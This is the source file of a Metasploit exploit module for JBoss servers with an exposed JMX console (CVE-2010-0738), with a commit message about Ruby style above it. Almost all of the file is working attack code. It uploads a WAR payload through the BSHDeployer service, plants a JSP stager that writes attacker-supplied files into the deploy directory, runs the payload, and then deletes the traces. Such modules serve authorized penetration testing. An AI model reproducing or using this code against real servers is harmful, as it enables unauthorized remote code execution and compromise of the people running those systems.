Files
metasploit-gs/modules/exploits/multi/http/jboss_bshdeployer.rb
T
Tod Beardsley c547e84fa7 Prefer Ruby style for single word collections
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.

This change converts all Payloads to this format if there is more than
one payload to choose from.

It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.

See:
  https://github.com/bbatsov/ruby-style-guide#collections
2013-09-24 12:33:31 -05:00

462 lines
14 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment',
'Description' => %q{
This module can be used to install a WAR file payload on JBoss servers that have
an exposed "jmx-console" application. The payload is put on the server by
using the jboss.system:BSHDeployer\'s createScriptDeployment() method.
},
'Author' =>
[
'Patrick Hof',
'jduck',
'Konrads Smelkovs',
'h0ng10'
],
'License' => BSD_LICENSE,
'References' =>
[
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
[ 'OSVDB', '64171' ],
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ],
],
'Privileged' => true,
'Platform' => %w{ java linux win },
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
#
# do target detection but java meter by default
# detect via /manager/serverinfo
#
[ 'Automatic (Java based)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
} ],
#
# Platform specific targets only
#
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
},
],
[ 'Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
},
],
#
# Java version
#
[ 'Java Universal',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA,
}
]
],
'DisclosureDate' => "Apr 26 2010",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
OptString.new('PACKAGE', [ true, 'The package containing the BSHDeployer service', 'auto' ]),
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']])
], self.class)
end
def exploit
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
# Dynamic variables, only used if we need a stager
stager_base = rand_text_alpha(8+rand(8))
stager_jsp_name = rand_text_alpha(8+rand(8))
content_var = rand_text_alpha(8+rand(8))
decoded_var = rand_text_alpha(8+rand(8))
file_path_var = rand_text_alpha(8+rand(8))
jboss_home_var = rand_text_alpha(8+rand(8))
fos_var = rand_text_alpha(8+rand(8))
# The following jsp script will write the exploded WAR file to the deploy/
# directory. This is used to bypass the size limit for GET/HEAD requests
stager_jsp = <<-EOT
<%@page import="java.io.*,
java.util.*,
sun.misc.BASE64Decoder"
%>
<%
if (request.getParameter("#{content_var}") != null) {
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war";
try {
String #{content_var} = "";
#{content_var} = request.getParameter("#{content_var}");
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
#{fos_var}.write(#{decoded_var});
#{fos_var}.close();
}
catch(Exception e){ }
}
%>
EOT
p = payload
mytarget = target
if (target.name =~ /Automatic/)
mytarget = auto_target()
if (not mytarget)
fail_with(Failure::NoTarget, "Unable to automatically select a target")
end
print_status("Automatically selected target \"#{mytarget.name}\"")
else
print_status("Using manually select target \"#{mytarget.name}\"")
end
arch = mytarget.arch
# set arch/platform from the target
plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]
# We must regenerate the payload in case our auto-magic changed something.
return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
# Generate the WAR containing the payload
war_data = p.encoded_war({
:app_name => app_base,
:jsp_name => jsp_name,
:arch => mytarget.arch,
:platform => mytarget.platform
}).to_s
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
if datastore['VERB'] == 'POST' then
deploy_payload_bsh(encoded_payload, app_base)
else
# We need to deploy a stager first
encoded_stager_jsp = Rex::Text.encode_base64(stager_jsp).gsub(/\n/, '')
deploy_stager_bsh(encoded_stager_jsp, stager_base, stager_jsp_name)
# now we call the stager to deploy our real payload war
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
payload_data = "#{content_var}=#{Rex::Text.uri_encode(encoded_payload)}"
print_status("Calling stager to deploy final payload")
call_uri_mtimes(stager_uri, 5, 'POST', payload_data)
end
#
# EXECUTE
#
uri = '/' + app_base + '/' + jsp_name + '.jsp'
print_status("Calling JSP file with final payload...")
print_status("Executing #{uri}...")
# The payload doesn't like POST requests
tmp_verb = datastore['VERB']
tmp_verb = 'GET' if tmp_verb == 'POST'
call_uri_mtimes(uri, 5, tmp_verb)
#
# DELETE
#
# The WAR can only be removed by physically deleting it, otherwise it
# will get redeployed after a server restart.
delete_script = <<-EOT
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
EOT
delete_stager_script = <<-EOT
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{stager_base + '.war/' + stager_jsp_name + '.jsp'}").delete();
new File(jboss_home + "/deploy/#{stager_base + '.war'}").delete();
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
EOT
delete_script = delete_stager_script if datastore['VERB'] != 'POST'
print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")
res = invoke_bshscript(delete_script, @pkg)
if !res
print_warning("WARNING: Unable to remove WAR [No Response]")
end
if (res.code < 200 || res.code >= 300)
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
end
handler
end
def deploy_stager_bsh(encoded_stager_code, stager_base, stager_jsp_name)
jsp_file_var = rand_text_alpha(8+rand(8))
jboss_home_var = rand_text_alpha(8+rand(8))
fstream_var = rand_text_alpha(8+rand(8))
byteval_var = rand_text_alpha(8+rand(8))
stager_var = rand_text_alpha(8+rand(8))
decoder_var = rand_text_alpha(8+rand(8))
# The following Beanshell script will write a short stager application into the deploy
# directory. This stager script is then used to install the payload
#
# This is neccessary to overcome the size limit for GET/HEAD requests
stager_bsh_script = <<-EOT
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;
String #{stager_var} = "#{encoded_stager_code}";
BASE64Decoder #{decoder_var} = new BASE64Decoder();
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
new File(#{jboss_home_var} + "/deploy/#{stager_base + '.war'}").mkdir();
byte[] #{byteval_var} = #{decoder_var}.decodeBuffer(#{stager_var});
String #{jsp_file_var} = #{jboss_home_var} + "/deploy/#{stager_base + '.war/' + stager_jsp_name + '.jsp'}";
FileOutputStream #{fstream_var} = new FileOutputStream(#{jsp_file_var});
#{fstream_var}.write(#{byteval_var});
#{fstream_var}.close();
EOT
print_status("Creating exploded WAR in deploy/#{stager_base}.war/ dir via BSHDeployer")
deploy_bsh(stager_bsh_script)
end
def deploy_payload_bsh(encoded_payload, app_base)
# The following Beanshell script will write the exploded WAR file to the deploy/
# directory
payload_bsh_script = <<-EOT
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;
String val = "#{encoded_payload}";
BASE64Decoder decoder = new BASE64Decoder();
String jboss_home = System.getProperty("jboss.server.home.dir");
byte[] byteval = decoder.decodeBuffer(val);
String war_file = jboss_home + "/deploy/#{app_base + '.war'}";
FileOutputStream fstream = new FileOutputStream(war_file);
fstream.write(byteval);
fstream.close();
EOT
print_status("Creating exploded WAR in deploy/#{app_base}.war/ dir via BSHDeployer")
deploy_bsh(payload_bsh_script)
end
def deploy_bsh(bsh_script)
if datastore['PACKAGE'] == 'auto'
packages = %w{ deployer scripts }
else
packages = [ datastore['PACKAGE'] ]
end
success = false
packages.each do |p|
print_status("Attempting to use '#{p}' as package")
res = invoke_bshscript(bsh_script, p)
if !res
fail_with(Failure::Unknown, "Unable to deploy WAR [No Response]")
end
if (res.code < 200 || res.code >= 300)
case res.code
when 401
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
fail_with(Failure::NoAccess, "Authentication requested: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
end
print_error("Upload to deploy WAR [#{res.code} #{res.message}]")
fail_with(Failure::Unknown, "Invalid reply: #{res.code} #{res.message}")
else
success = true
@pkg = p
break
end
end
if not success
fail_with(Failure::Unknown, "Failed to deploy the WAR payload")
end
end
def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil)
verb = datastore['VERB'] if verb.nil?
# JBoss might need some time for the deployment. Try 5 times at most and
# wait 5 seconds inbetween tries
num_attempts.times do |attempt|
if (verb == "POST")
res = send_request_cgi(
{
'uri' => uri,
'method' => verb,
'data' => data
}, 5)
else
uri += "?#{data}" unless data.nil?
res = send_request_cgi(
{
'uri' => uri,
'method' => verb
}, 30)
end
msg = nil
if (!res)
msg = "Execution failed on #{uri} [No Response]"
elsif (res.code < 200 or res.code >= 300)
msg = "http request failed to #{uri} [#{res.code}]"
elsif (res.code == 200)
print_status("Successfully called '#{uri}'") if datastore['VERBOSE']
return res
end
if (attempt < num_attempts - 1)
msg << ", retrying in 5 seconds..."
print_status(msg) if datastore['VERBOSE']
select(nil, nil, nil, 5)
else
print_error(msg)
return res
end
end
end
def auto_target
if datastore['VERB'] == 'HEAD' then
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
else
print_status("Attempting to automatically select a target...")
res = query_serverinfo
if not (plat = detect_platform(res))
fail_with(Failure::NoTarget, 'Unable to detect platform!')
end
if not (arch = detect_architecture(res))
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
end
# see if we have a match
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
end
# no matching target found, use Java as fallback
java_targets = targets.select {|t| t.name =~ /^Java/ }
return java_targets[0]
end
def query_serverinfo
path = normalize_uri(datastore['PATH'], '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
res = send_request_raw(
{
'uri' => path,
'method' => datastore['VERB']
}, 20)
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end
res
end
# Try to autodetect the target platform
def detect_platform(res)
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
os = $1
if (os =~ /Linux/i)
return 'linux'
elsif (os =~ /FreeBSD/i)
return 'linux'
elsif (os =~ /Windows/i)
return 'win'
end
end
nil
end
# Try to autodetect the target architecture
def detect_architecture(res)
if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
arch = $1
if (arch =~ /(x86|i386|i686)/i)
return ARCH_X86
elsif (arch =~ /(x86_64|amd64)/i)
return ARCH_X86
end
end
nil
end
# Invokes +bsh_script+ on the JBoss AS via BSHDeployer
def invoke_bshscript(bsh_script, pkg)
params = 'action=invokeOpByName'
params << '&name=jboss.' + pkg + ':service=BSHDeployer'
params << '&methodName=createScriptDeployment'
params << '&argType=java.lang.String'
params << '&arg0=' + Rex::Text.uri_encode(bsh_script)
params << '&argType=java.lang.String'
params << '&arg1=' + rand_text_alphanumeric(8+rand(8)) + '.bsh'
if (datastore['VERB']== "POST")
res = send_request_cgi({
'method' => datastore['VERB'],
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
'data' => params
})
else
res = send_request_cgi({
'method' => datastore['VERB'],
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{params}"
}, 30)
end
res
end
end